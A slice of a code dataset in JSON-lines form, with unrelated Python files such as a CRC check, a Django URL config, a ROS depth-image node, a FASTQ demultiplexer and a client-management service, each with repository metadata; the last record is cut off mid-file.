# perform CRC check\n\n print(\"From Wikipedia, [en.wikipedia.org/wiki/Cyclic_redundancy_check]:\")\n g = bitarray('1011') # generator\n d = bitarray('11010011101100') # data (without padding/shifting)\n p = bitarray('000') # padding\n r = crc(d + p, g) # error-correction bits\n assert r == bitarray('100') # known quotient\n assert crc(d + r, g) == p # perform CRC check\n","repo_name":"cyrus-raitava/SOFTENG_364","sub_path":"ASSIGNMENT_2/SOLUTIONS/crc.py","file_name":"crc.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73974324561","text":"# Leer 10 valores, imprimir la sumatoria y el promedio\n\nSUMA = 0\nPROMEDIO = 0\nCONTADOR = 0\n\nfor I in range(5):\n N = float(input(\"Ingrese valor para ver la suma de todos los ingresados y su promedio. \"))\n \n SUMA = SUMA + N\n CONTADOR = CONTADOR + 1\n\nPROMEDIO = SUMA / CONTADOR\n\nprint (\"La suma es \",SUMA,\"y el promedio es \",PROMEDIO,)\n","repo_name":"esturniolo/iadespseint","sub_path":"2doCuatrimestre/python/14.py","file_name":"14.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15700780059","text":"from depc.controllers import (\n Controller,\n NotFoundError,\n AlreadyExistError,\n IntegrityError,\n)\nfrom depc.controllers.sources import SourceController\nfrom depc.extensions import db\nfrom depc.models.checks import Check\nfrom depc.models.rules import Rule\nfrom depc.models.sources import Source\nfrom depc.models.teams import Team\n\n\nclass CheckController(Controller):\n\n model_cls = Check\n\n @classmethod\n def list_team_checks(cls, team_id):\n from depc.controllers.teams import TeamController\n\n _ = TeamController.get({\"Team\": {\"id\": team_id}})\n\n checks = (\n db.session.query(Check)\n .join(Source, Source.id == Check.source_id)\n .join(Team, Team.id == Source.team_id)\n .filter(Team.id == team_id)\n .all()\n )\n return [cls.resource_to_dict(c) for c in checks]\n\n @classmethod\n def _join_to(cls, query, object_class):\n if object_class == Rule:\n return query.join(Check.rules)\n return super(CheckController, cls)._join_to(query, object_class)\n\n @classmethod\n def before_data_load(cls, data):\n if \"source_id\" in data:\n try:\n SourceController.get(filters={\"Source\": {\"id\": data[\"source_id\"]}})\n except NotFoundError:\n raise NotFoundError(\"Source {} not found\".format(data[\"source_id\"]))\n\n @classmethod\n def ensure_check(cls, obj):\n name = obj.name\n\n # Name surrounded by quotes are prohibited\n if name.startswith(('\"', \"'\")) or name.endswith(('\"', \"'\")):\n raise IntegrityError(\"The check name cannot begin or end with a quote\")\n\n # Ensure that the check does not exist in another source\n checks = cls._list(filters={\"Check\": {\"name\": name}})\n source = SourceController._get(filters={\"Source\": {\"id\": obj.source_id}})\n\n for check in checks:\n if check.id != obj.id and check.source.team_id == source.team_id:\n raise AlreadyExistError(\n \"The check {name} already exists.\", {\"name\": name}\n )\n\n # Ensure the type field\n if \":\" in obj.parameters[\"threshold\"] and obj.type != \"Interval\":\n raise IntegrityError(\n \"Threshold {} must be flagged as interval\".format(\n obj.parameters[\"threshold\"]\n )\n )\n\n @classmethod\n def before_create(cls, obj):\n cls.ensure_check(obj)\n\n @classmethod\n def before_update(cls, obj):\n cls.ensure_check(obj)\n","repo_name":"ovh/depc","sub_path":"depc/controllers/checks.py","file_name":"checks.py","file_ext":"py","file_size_in_byte":2561,"program_lang":"python","lang":"en","doc_type":"code","stars":80,"dataset":"github-code","pt":"3"} +{"seq_id":"42142401531","text":"from django.conf.urls import url,include\nfrom .views import menu,mapa,editarPerfil,coords_save,coords_obtener,coords_eliminar,index,index2,coords_save2\n\nurlpatterns = [\n url(r'^$', menu, name='menu'),\n url(r'^mapeo$', mapa, name='mapeo'),\n url(r'^mapa/$', index, name='index'),\n url(r'^editarPerfil(?P\\d+)/$', editarPerfil, name='editar'),\n url(r'^coords/save$', coords_save, name='coords_save'),\n url(r'^coords/save2$', coords_save2, name='coords_save2'),\n url(r'^coords/obtener$', coords_obtener, name='coords_obtener'),\n url(r'^coords/eliminar$', coords_eliminar, name='coords_eliminar'),\n\turl(r'^viaje$', index2, name='index2'),\n \n]","repo_name":"tatanggez/conductor","sub_path":"pruebacyc/apps/principal/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19666671436","text":"# i am not getting the meansing of 'sorted increasing order\".\n\n# logic: FOR 1st letter no choice, so put the 1st letter in 'permuatation' before calling the function.\n# Now for every 1st letter in remaining string we have two choices i.e 1) add with space 2) Add without spce.\n\n# note: we have to print in increasing order so we will 1st call the function \"with space\" \n# because \"space\" has lower ascii value than characters.\n\n# time= O(2 ^(n-1) * n)\nclass Solution:\n def permutation (self, S):\n \n def solve(per, s):\n if not s:\n ans.append(per)\n return\n solve(per+ \" \" + s[0] , s[1: ])\n solve(per + s[0], s[1: ])\n \n ans= []\n per= S[0]\n solve(per, S[1: ]) \n return ans\n\n\n# taking ans inside the function only","repo_name":"Ravi-0412/DSA-Program-And-Notes","sub_path":"Back_Tracking/Permutation with Spaces.py","file_name":"Permutation with Spaces.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"3"} +{"seq_id":"24704013851","text":"import unittest\r\nfrom unittest.mock import patch\r\nimport requests\r\n\r\nfrom backend import app\r\nimport scrapper\r\n\r\n\r\nclass TestApp(unittest.TestCase):\r\n\r\n @patch('requests.get')\r\n def test_search_route(self, mock_get):\r\n mock_get.return_value.status_code = 200\r\n mock_get.return_value.json.return_value = {\r\n \"results\": [\r\n {\r\n \"title\": \"Test Recipe 1\",\r\n \"href\": \"http://testrecipe1.com\",\r\n \"rating\": 4.5,\r\n \"reviews\": 10\r\n },\r\n {\r\n \"title\": \"Test Recipe 2\",\r\n \"href\": \"http://testrecipe2.com\",\r\n \"rating\": 3.8,\r\n \"reviews\": 5\r\n }\r\n ]\r\n }\r\n with app.test_client() as client:\r\n response = client.get('/search?query=test')\r\n self.assertEqual(response.status_code, 200)\r\n self.assertIn(b'Test Recipe 1', response.data)\r\n self.assertIn(b'Test Recipe 2', response.data)\r\n\r\n def test_scrape_recipes(self):\r\n recipes = scrapper()\r\n self.assertGreater(len(recipes), 0)\r\n for recipe in recipes:\r\n self.assertIsNotNone(recipe['title'])\r\n self.assertIsNotNone(recipe['href'])\r\n self.assertIsNotNone(recipe['rating'])\r\n self.assertIsNotNone(recipe['reviews'])\r\n self.assertIsInstance(recipe['title'], str)\r\n self.assertIsInstance(recipe['href'], str)\r\n self.assertIsInstance(recipe['rating'], float)\r\n self.assertIsInstance(recipe['reviews'], int)\r\n\r\n\r\nif __name__ == '__main__':\r\n unittest.main()\r\n","repo_name":"Mkeshishian/test","sub_path":"Demo/TestCases.py","file_name":"TestCases.py","file_ext":"py","file_size_in_byte":1713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34202906885","text":"#!/usr/bin/env python3\n\nimport roslib\nroslib.load_manifest('SAFMC-21-D2-Team2')\nimport sys\nimport rospy\nfrom statistics import mean\nimport numpy as np\nimport cv2 as cv\nfrom std_msgs.msg import String\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge, CvBridgeError\n\n\nclass BoxCV:\n\n def __init__(self, output=False): \n #self.image_pub = rospy.Publisher(\"camera/depth/image_rect_raw\",Image)\n self.bridge = CvBridge()\n self.image_sub = rospy.Subscriber(\"/d400/depth/image_rect_raw\", Image, self.image_cb)\n #self.image_sub = rospy.Subscriber(\"/camera/depth/image_raw\", Image, self.image_cb)\n self.running_sum = []\n self.theta = np.array([0, 0])\n self.output=output\n\n def image_cb(self, data):\n #print(\"image\")\n try: \n cv_image = self.bridge.imgmsg_to_cv2(data)\n except CvBridgeError as e:\n print(e)\n # cv_image=cv_image[:,80:]\n print(cv_image.shape)\n cv_image=cv_image[140:-140,220:-220]\n cv_image=cv_image/1000\n (rows,cols) = cv_image.shape\n if self.output:\n cv.imshow(\"image\",cv_image/18)\n cv.waitKey(3)\n\n self.running_sum.append(np.mean(cv_image))\n if len(self.running_sum)>20:\n self.running_sum.pop(0)\n print(\"mean:\", mean(self.running_sum))\n y_mean = np.mean(cv_image, axis=0)\n x = np.array([[1, i/cols] for i in range(cols)]).reshape(cols, 2)\n self.theta = np.matmul(np.matmul(np.linalg.inv(np.matmul(np.transpose(x), x)), np.transpose(x)), y_mean)\n \n if self.output:\n print(self.theta)\n \n def get_theta(self):\n return self.theta\n \n def get_mean(self):\n return mean(self.running_sum)\n\n\ndef main(args):\n print(sys.version)\n boxCV = BoxCV(output=False)\n rospy.init_node('image_converter', anonymous=True)\n try:\n rospy.spin()\n except KeyboardInterrupt:\n print(\"Shutting down\")\n cv.destroyAllWindows()\n \nif __name__ == '__main__':\n main(sys.argv)\n","repo_name":"multirotorsociety/SAFMC-21-D2-Team2","sub_path":"src/box.py","file_name":"box.py","file_ext":"py","file_size_in_byte":2075,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"70128486162","text":"import matplotlib.pyplot as plt\n\ndef graph (sig):\n\n #Sets graph attributes\n plt.plot(sig)\n plt.ylabel('Voltage (mV)', size=20)\n plt.xlabel('Time (milliseconds)', size=20)\n plt.xticks(size=15)\n plt.yticks(size=15)\n plt.title('Standard ECG Graph', size=25)\n plt.show()\n","repo_name":"KoolCards/CADSupportVectorMachine","sub_path":"Python/graphData.py","file_name":"graphData.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37670209279","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"util.py: Contains utility functions for the demultiplexer package.\"\"\"\n\nfrom pathlib import Path\nfrom typing import Optional, Callable, Tuple\nfrom pandas import DataFrame\nfrom dataclasses import dataclass, replace\nimport tempfile\nimport shutil\nimport collections\nimport mbf\nimport re\n\ntry:\n import string\n\n maketrans = string.maketrans\nexcept (ImportError, NameError, AttributeError):\n maketrans = bytes.maketrans\n\n\n__author__ = \"Marco Mernberger\"\n__copyright__ = \"Copyright (c) 2020 Marco Mernberger\"\n__license__ = \"mit\"\n\n\nrev_comp_table = maketrans(b\"ACBDGHKMNSRUTWVYacbdghkmnsrutwvy\", b\"TGVHCDMKNSYAAWBRTGVHCDMKNSYAAWBR\")\n\n\nAdapterMatch = collections.namedtuple(\n \"AdapterMatch\", [\"astart\", \"astop\", \"rstart\", \"rstop\", \"matches\", \"errors\"]\n)\n\n\n@dataclass\nclass Read:\n \"\"\"Data class for sequencing reads\"\"\"\n\n Name: str\n Sequence: str\n Quality: str\n\n\nclass Fragment:\n \"\"\"Data class for single-end and paired-end Reads/Fragments.\"\"\"\n\n def __init__(self, *reads: Read):\n self.reads = reads\n self.Read1 = self.reads[0]\n if len(reads) == 2:\n self.Read2 = self.reads[1]\n\n def __iter__(self):\n for read in self.reads:\n yield read\n\n def copy(self):\n return Fragment(replace(self.Read1), replace(self.Read2))\n\n\nclass TemporaryToPermanent:\n def __init__(self, permanent_file: Path):\n self.permanent_file = permanent_file\n\n def __enter__(self):\n return self\n\n def __exit__(self, exception_type, exception_value, traceback) -> None:\n if exception_type is None:\n self.close()\n else:\n self.file_handle.close()\n self.tmp_directory.cleanup()\n\n def open(self, *args, **kwargs):\n self.tmp_directory = tempfile.TemporaryDirectory(dir=self.permanent_file.parent)\n self.tmp_path = Path(self.tmp_directory.name)\n self.temp_file = self.tmp_path / self.permanent_file.relative_to(self.permanent_file.root)\n self.temp_file.parent.mkdir(exist_ok=True, parents=True)\n self.file_handle = self.temp_file.open(*args, **kwargs)\n return self\n\n def close(self):\n self.file_handle.close()\n shutil.move(self.temp_file, self.permanent_file)\n delattr(self, \"file_handle\")\n self.tmp_directory.cleanup()\n delattr(self, \"tmp_path\")\n # delattr(self, \"file_handle\")\n\n def write(self, *args, **kwargs):\n self.file_handle.write(*args, **kwargs)\n\n @property\n def closed(self) -> bool:\n if hasattr(self, \"file_handle\"):\n return self.file_handle.closed\n return True\n\n\ndef reverse_complement(sequence: str) -> str:\n \"\"\"\n reverse_complement retuzrns the reverse complement of given sequence.\n\n Parameters\n ----------\n sequence : str\n Input sequence.\n\n Returns\n -------\n str\n Reverse complement of input sequence.\n \"\"\"\n return sequence[::-1].translate(rev_comp_table)\n\n\ndef get_df_callable_for_demultiplexer(\n df_in: DataFrame,\n fw_col_name: str,\n rv_col_name: str,\n sample_col_name: str,\n trim_start_col_name: Optional[str] = None,\n trim_end_col_name: Optional[str] = None,\n) -> DataFrame:\n def call():\n df = df_in.copy()\n df[fw_col_name].fillna(\"\", inplace=True)\n df[rv_col_name].fillna(\"\", inplace=True)\n df[fw_col_name] = df[fw_col_name].str.strip()\n df[fw_col_name] = df[fw_col_name].str.upper()\n df[rv_col_name] = df[rv_col_name].str.strip()\n df[rv_col_name] = df[rv_col_name].str.upper()\n whitespace = re.compile(r\"\\s+\")\n assert len(df[fw_col_name].unique()) == len(df) # check if the barcodes are unique\n df[\"key\"] = df[sample_col_name].str.replace(whitespace, \"_\")\n df = df.set_index(\"key\")\n\n if trim_start_col_name is None and trim_end_col_name is None:\n df = df.rename(\n columns={\n fw_col_name: \"start_barcode\",\n rv_col_name: \"end_barcode\",\n }\n )\n return df[[\"start_barcode\", \"end_barcode\"]]\n\n else:\n df = df.rename(\n columns={\n fw_col_name: \"start_barcode\",\n rv_col_name: \"end_barcode\",\n trim_start_col_name: \"trim_after_start\",\n trim_end_col_name: \"trim_before_end\",\n }\n )\n return df[[\"start_barcode\", \"end_barcode\", \"trim_after_start\", \"trim_before_end\"]]\n\n return call\n\n\ndef iterate_fastq(filename: str, reverse_reads: bool) -> Read:\n op = mbf.align._common.BlockedFileAdaptor(filename)\n while True:\n try:\n name = op.readline()[1:-1].decode()\n seq = op.readline()[:-1].decode()\n op.readline()\n qual = op.readline()[:-1].decode()\n if reverse_reads:\n seq = seq[::-1].translate(rev_comp_table)\n qual = qual[::-1]\n yield Read(name, seq, qual)\n except StopIteration:\n break\n\n\ndef get_fastq_iterator(paired) -> Callable:\n fastq_iterator = iterate_fastq\n\n def _iterreads_paired_end(tuple_of_files: Tuple[Path, Path]) -> Fragment:\n for reads in zip(\n fastq_iterator(str(tuple_of_files[0]), reverse_reads=False),\n fastq_iterator(str(tuple_of_files[1]), reverse_reads=False),\n ):\n yield Fragment(*reads)\n\n def _iterreads_single_end(filetuple) -> Fragment:\n for read in fastq_iterator(str(filetuple[0]), reverse_reads=False):\n yield Fragment(read)\n\n if paired:\n return _iterreads_paired_end\n else:\n return _iterreads_single_end\n","repo_name":"MarcoMernberger/mmdemultiplex","sub_path":"src/mmdemultiplex/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":5748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72250636563","text":"\"\"\"\n@date: 2021/08/31\n@desc:\n Given a signed 32-bit integer x, return x with its digits reversed.\n Constraints: reversing_x \\in [-2^31, 2^31 - 1], othewise return 0.\n@key: math\n\"\"\"\n\nclass Solution:\n def reverse(self, x: int) -> int:\n if x == 0:\n return 0\n\n MAX_VAL = 2**31 - 1 # 2147483647\n abs_x = abs(x)\n reverse_x = 0\n while abs_x != 0:\n mod_x = abs_x % 10\n abs_x = abs_x // 10\n\n if reverse_x * 10 + mod_x > MAX_VAL:\n return 0\n\n reverse_x = reverse_x * 10 + mod_x\n\n return int(x / abs(x)) * reverse_x\n\n\nassert Solution().reverse(0) == 0\nassert Solution().reverse(-2147483647) == 0\nassert Solution().reverse(239999999999) == 0\n","repo_name":"ixiaopan/DataScience","sub_path":"LeetCode/007.py","file_name":"007.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"5983666321","text":"# In this sceipt, the flask application is defined and\n# all of its functionality is implemented here. \nfrom flask import Flask,request,render_template,redirect\nfrom transformers import TokenSpan\nfrom support import search_content, rank\nfrom preprocessing import preprocess\nfrom database import *\n\ndef search(content, start, end, source, category):\n # get access to database\n db = DBConnector()\n # To get the index tables and vocabulary table\n tokens = preprocess(content)\n index_pos = db.search_index(tokens, index_type=\"pos\", start_date=start, end_date=end, category_list=category, source_list=source)\n index_frq = db.search_index(tokens, index_type=\"frq\", start_date=start, end_date=end, category_list=category, source_list=source)\n tokens = [token for token in tokens if (len(index_pos[token]) != 0)]\n if len(tokens) == 0:\n return []\n index_pos = {token : index_pos[token] for token in tokens}\n index_frq = {token : index_frq[token] for token in tokens}\n result = search_content(content, tokens, index_pos)\n ranked_result = rank(result, index_frq, db)\n\n return ranked_result","repo_name":"Pr0Wh1teGive/UOE-TTDS-CW3","sub_path":"engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1836635804","text":"def div(a):\n t=a\n while a!=0:\n m=a%10\n if a%10==0 or t%m!=0:\n return 0\n a=a//10\n return 1\nx=int(input())\ny=int(input())\nfor i in range(x,y+1):\n if div(i):\n print(i,end=' ')\n \n ","repo_name":"sireeshatamanan/codemind-python","sub_path":"Self_Dividing_Numbers.py","file_name":"Self_Dividing_Numbers.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25178395187","text":"from models.client import Client as ClientModel, PropertieClient as PropertieClientModel, ReferencesClient as ReferencesClientModel, TypeProperties as TypePropertiesModel\nfrom models.user import User as UserModel\nfrom fastapi.encoders import jsonable_encoder\nfrom fastapi import HTTPException\nfrom utils.jwt_manager import token_decode\nfrom passlib.context import CryptContext\nfrom datetime import datetime\nfrom config.database import Session\n\n\nclass ClientService():\n \n def __init__(self, request) -> None:\n \n\n self.db = Session()\n #Obtiene los datos del header y decodifica el token para identificar el usuario\n self.request = request \n self.data_user = token_decode(request)\n\n\n def get_client(self,id: int=0, num_document: str=''):\n \n if id !=0:\n client = self.db.query(ClientModel).filter(ClientModel.id == id).first()\n elif num_document != '':\n client = self.db.query(ClientModel).filter(ClientModel.num_document == num_document, ClientModel.company_id == self.data_user['company_id']).first()\n else:\n client = self.db.query(ClientModel).filter(ClientModel.company_id == self.data_user['company_id']).all()\n \n if not client:\n raise HTTPException(status_code=404, detail={\"message\": \"Los datos del cliente ingresado no existe\"}) \n\n if id != 0 or num_document != '':\n client.user\n client.propertie_client\n client.references_client\n elif id == 0:\n list_client = []\n for cl in client:\n cl.full_name = f'{cl.first_name} {cl.last_name}'\n cl.user\n cl.propertie_client\n cl.references_client\n list_client.append(cl)\n \n client = list_client\n return client\n \n\n def get_reference(self, id: int=0, client_id: int=0):\n\n if id !=0:\n reference = self.db.query(ReferencesClientModel).filter(ReferencesClientModel.id == id).first()\n else: \n reference = self.db.query(ReferencesClientModel).filter(ReferencesClientModel.client_id == client_id).all()\n\n if not reference:\n raise HTTPException(status_code=404, detail={\"message\": \"No existen referencias asociadas al cliente\"}) \n \n self.db.close()\n return reference\n \n\n def get_propertie(self, id: int=0, client_id: int=0):\n\n if id !=0:\n propertie = self.db.query(PropertieClientModel).filter(PropertieClientModel.id == id).first()\n else: \n propertie = self.db.query(PropertieClientModel).filter(PropertieClientModel.client_id == client_id).all()\n\n if not propertie:\n self.db.close() \n raise HTTPException(status_code=404, detail={\"message\": \"No existen propiedades asociadas al cliente\"}) \n self.db.close() \n return propertie\n\n\n def validate_client_exist(self, type_document, num_document, company_id, email):\n\n #Valida que el usuario a crear no exista \n result = self.db.query(ClientModel).filter(ClientModel.type_document == type_document, ClientModel.num_document == num_document, ClientModel.company_id == company_id).first()\n if result:\n self.db.close() \n raise HTTPException(status_code=401, detail={\"message\": \"El cliente ya se encuentra registrado en la base de datos.\"})\n \n #Valida que el email ingresado no exista, ya que este sirve para el usuario y debe ser unico por empresa (company)\n result_user = self.db.query(UserModel).filter(UserModel.email == email, UserModel.company_id == company_id).first()\n if result_user:\n self.db.close() \n raise HTTPException(status_code=401, detail={\"message\": \"El email ingresado para el cliente ya se encuentra registrado\"}) \n \n\n def create_client(self, client: ClientModel):\n \n self.validate_client_exist(client.type_document,client.num_document,self.data_user['company_id'],client.email)\n\n pwd_context = CryptContext(schemes=[\"bcrypt\"], deprecated=\"auto\")\n propertie_client = client.properties_client\n references_client = client.references_client\n del client.properties_client, client.references_client\n \n new_user = UserModel(username=client.first_name,\n last_name=client.last_name,\n email=client.email,\n password=pwd_context.hash(client.num_document),\n type_user='user',\n company_id=self.data_user['company_id'])\n \n client.user_id = new_user.id\n client.id_user_create = self.data_user['id']\n client.company_id = self.data_user['company_id']\n \n new_client = ClientModel(**client.dict(),user=new_user)\n\n for propertie in propertie_client:\n \n new_propertie = PropertieClientModel(\n name=propertie.name,\n description=propertie.description,\n value=propertie.value,\n status_range=propertie.status_range,\n type_properties_id=propertie.type_properties_id,\n client=new_client\n )\n self.db.add(new_propertie)\n\n for reference in references_client:\n \n new_reference = ReferencesClientModel(\n\n frist_name=reference.frist_name,\n last_name=reference.last_name,\n telephone_number=reference.telephone_number,\n type_reference=reference.type_reference,\n relation=reference.relation,\n client_reference=new_client\n )\n self.db.add(new_reference)\n\n self.db.add(new_user)\n self.db.add(new_client)\n self.db.commit()\n new_client = self.db.query(ClientModel).filter(ClientModel.id == new_client.id).all()\n return new_client\n\n\n def create_reference(self, reference: ReferencesClientModel):\n \n client = self.get_client(id=reference.client_id) \n new_reference = ReferencesClientModel(**reference.dict(),client_reference=client)\n self.db.add(new_reference)\n self.db.commit()\n self.db.close() \n new_reference = self.db.query(ReferencesClientModel).filter(ReferencesClientModel.id == new_reference.id).all()\n return new_reference\n \n\n def create_propertie(self, propertie: PropertieClientModel):\n \n client = self.get_client(id=propertie.client_id) \n new_propertie = PropertieClientModel(**propertie.dict(),client=client)\n self.db.add(new_propertie)\n self.db.commit()\n self.db.close() \n new_propertie = self.db.query(PropertieClientModel).filter(PropertieClientModel.id == new_propertie.id).all()\n return new_propertie\n\n\n def update_client(self,id, client: ClientModel):\n\n current_client = self.get_client(id)\n\n if current_client.type_document != client.type_document or current_client.num_document != client.num_document or current_client.email != client.email:\n self.validate_client_exist(client.type_document, client.num_document, self.data_user['company_id'], client.email)\n \n current_client.last_update = datetime.now()\n current_client.first_name = client.first_name\n current_client.last_name = client.last_name\n current_client.type_document = client.type_document\n current_client.num_document = client.num_document\n current_client.document_from = client.document_from\n current_client.expedition_date_document = client.expedition_date_document\n current_client.birth_date = client.birth_date\n current_client.birth_city = client.birth_city\n current_client.sex = client.sex\n current_client.telephone_number_1 = client.telephone_number_1\n current_client.telephone_number_2 = client.telephone_number_2\n current_client.email = client.email\n current_client.city_residence = client.city_residence\n current_client.civil_status = client.civil_status\n current_client.address_1 = client.address_1\n current_client.address_2 = client.address_2\n current_client.profession = client.profession\n current_client.fixed_income_value = client.fixed_income_value\n current_client.other_income = client.other_income\n current_client.approved_credit = client.approved_credit\n current_client.status_credit = client.status_credit\n current_client.maximum_amount = client.maximum_amount\n current_client.minimum_amount = client.minimum_amount\n current_client.risk_level = client.risk_level\n current_client.habit_pay = client.habit_pay\n current_client.debt_value = client.debt_value\n current_client.fixed_expenses = client.fixed_expenses\n current_client.data_credit_point = client.data_credit_point\n current_client.account_bank = client.account_bank\n current_client.type_account_bank = client.type_account_bank\n current_client.observation = client.observation\n current_client.status = client.status\n self.db.commit()\n self.db.close() \n\n return {\n \"status\": True,\n \"message\": \"Cliente actualizado de forma correcta\"\n }\n \n\n def update_reference(self, id, reference: ReferencesClientModel):\n \n current_reference = self.get_reference(id=id)\n\n current_reference.frist_name = reference.frist_name\n current_reference.last_name = reference.last_name\n current_reference.telephone_number = reference.telephone_number\n current_reference.type_reference = reference.type_reference\n current_reference.relation = reference.relation\n current_reference.update_date = datetime.now()\n current_reference.status = reference.status\n self.db.commit()\n self.db.close() \n \n return {\n \"status\": True,\n \"message\": \"Referencia actualizada de forma correcta\"\n }\n\n\n def update_propertie(self, id, propertie: PropertieClientModel):\n \n current_propertie = self.get_propertie(id=id)\n\n current_propertie.name = propertie.name\n current_propertie.description = propertie.description\n current_propertie.value = propertie.value\n current_propertie.status_range = propertie.status_range\n current_propertie.status = propertie.status\n current_propertie.type_properties_id = propertie.type_properties_id\n self.db.commit()\n self.db.close() \n \n return {\n \"status\": True,\n \"message\": \"Propiedad actualizada de forma correcta\"\n }\n \n\n def delete_reference(self, id):\n\n self.db.query(ReferencesClientModel).filter(ReferencesClientModel.id == id).delete()\n self.db.commit()\n self.db.close() \n \n return {\n \"status\": True,\n \"message\": \"Referencia Eliminada de forma correcta\"\n }\n \n \n def delete_propertie(self, id):\n\n self.db.query(PropertieClientModel).filter(PropertieClientModel.id == id).delete()\n self.db.commit()\n self.db.close() \n \n return {\n \"status\": True,\n \"message\": \"Propiedad eliminada de forma correcta\"\n }\n \n def type_properties(self):\n type_properties = self.db.query(TypePropertiesModel).filter(TypePropertiesModel.status == True).all()\n self.db.close() \n return type_properties\n \n\n\n \n\n \n\n\n \n ","repo_name":"luismontes05/back-credit-calculation","sub_path":"services/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":11694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22588396100","text":"import webbrowser\n\n#script asks the user were and what he want to search \nprint(\"options are: youtube, wikipedia, google, DuckDuckGo\")\noptions = input(\"where do you want to search: \")\n\n#checks if the input is valid.\nif options != \"wikipedia\" and options != \"google\" and options != \"youtube\" and options != \"DuckDuckGo\":\n print (\"Enter a correct input\")\n exit()\n\n#Enter what's up on your mind\nquestion = input(\"type what you want to know: \")\n\n\n#code will search on one of the given websites\nif options == \"google\":\n print (\"this the result on google for:\", question)\n webbrowser.open(\"https://google.com/search?q={}\".format(question))\n\nelif options == \"youtube\":\n print (\"This is the result on youtube for:\", question)\n webbrowser.open(\"https://youtube.com/search?q={}\".format(question))\n\nelif options == \"wikipedia\":\n print (\"This is the result on wikipedia for:\", question)\n webbrowser.open(\"https://wikipedia.org/wiki/{}\".format(question))\n\nelif options == \"DuckDuckGo\":\n print (\"This is the result on DuckDuckGo for:\", question)\n webbrowser.open(\"https://duckduckgo.com/?t=ffab&q={}\".format(question))\n\n#developed by Quaatos with <3\n#last updated:\n#3/21/2022 \n#11:27 AM\n","repo_name":"quaatos/Python","sub_path":"pythonSearch/pythonSearch.py","file_name":"pythonSearch.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10321108243","text":"import math\n\nclass Circulo:\n def __init__(self, centro, radio):\n self.centro = centro\n self.radio = radio\n\n def calcular_area(self):\n area = math.pi * (self.radio ** 2)\n return area\n\n def calcular_perimetro(self):\n perimetro = 2 * math.pi * self.radio\n return perimetro\n\n def punto_pertenece(self, punto):\n distancia = self.centro.calcular_distancia(punto)\n if distancia <= self.radio:\n return True\n else:\n return False\np = Punto(1, 2)\nc = Circulo(p, 5)\n\nprint(c.calcular_area())\nprint(c.calcular_perimetro()) \nprint(c.punto_pertenece(p))\nprint(c.punto_pertenece(Punto(5, 6)))\n","repo_name":"AleRivera123/ActividadClase","sub_path":"Ejercicios/circulo.py","file_name":"circulo.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10383540446","text":"from env_params_class import Env_Params\ndef saveEnvParameters(filename, envparams: Env_Params):\n paramlist = [envparams.step_limit, envparams.step_size, envparams.maxspeed,\n envparams.acceleration, envparams.random_pos, envparams.binary_reward, envparams.rotation_vector, envparams.discrete_actionspace]\n try:\n f = open(\"../Envparameters/envparameters_\" + filename, \"x\")\n f.write(str(paramlist))\n f.close()\n print(\"saved envparameters to file.\")\n except:\n print(\"envparameters couldn't be saved. They are:\" +\n str(paramlist))\n\n\ndef loadEnvParameters(filename) -> Env_Params:\n\n # Load signal parameters from file:\n f = open(\"../Envparameters/envparameters_\" + filename, \"r\")\n envparameters = f.read()\n envparameters = envparameters.strip('[')\n envparameters = envparameters.strip(']')\n f_list = [i for i in envparameters.split(\",\")]\n print(\"loaded envparameters from file: \" + str(f_list))\n\n env_params_obj = Env_Params(int(f_list[0]),\n float(f_list[1]),\n float(f_list[2]),\n float(f_list[3]),\n bool(f_list[4]),\n bool(f_list[5]))\n \n return env_params_obj\n\ndef showPreview(env, model, step_limit, episodes = 5, fps = 100):\n for i in range(episodes):\n obs = env.reset()\n for i in range(step_limit):\n action, _states = model.predict(obs)\n print(action)\n obs, rewards, dones, info = env.step(action)\n env.renderSlow(fps)\n if(dones):\n env.renderSlow(1)\n break\n\n\n\n\n","repo_name":"Favodar/Self-Learning-Cars-2D","sub_path":"Scripts/car_utils.py","file_name":"car_utils.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"36697647692","text":"#!/usr/bin/env python\n\nfrom setuptools import setup, Extension\nimport subprocess\nimport re\nimport os\n\nPACKAGES = ['poppler-glib', 'pygobject-2.0', 'pycairo']\n\ndef pypoppler_version():\n re_version = re.compile('pypoppler_(\\w+)_version,\\ (\\d+)')\n config = file('configure.ac', 'r')\n parts = ()\n for line in config:\n match = re_version.search(line)\n if match:\n version, number = match.groups()\n yield (version.upper(), number)\n\n\ndef pycairo_version():\n version = 